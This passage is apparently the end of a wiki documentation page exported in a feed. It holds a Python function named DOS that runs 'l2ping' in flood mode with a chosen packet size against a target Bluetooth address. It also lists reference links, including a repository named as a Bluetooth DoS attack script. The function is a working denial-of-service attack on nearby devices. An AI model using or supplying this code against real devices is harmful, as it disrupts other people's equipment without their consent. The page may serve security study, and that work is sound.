 def DOS(target_addr, package_size):&lt;br /&gt;
 os.system(’l2ping -i hci0 -s ’ + str(package_size) + ’ -f ’ + target_addr)&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.youtube.com/watch?v=lXLrb1pfnrs&amp;amp;t=1s&lt;br /&gt;
* https://github.com/crypt0b0y/BLUETOOTH-DOS-ATTACK-SCRIPT&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>MKhreis</name></author>
	</entry>
</feed>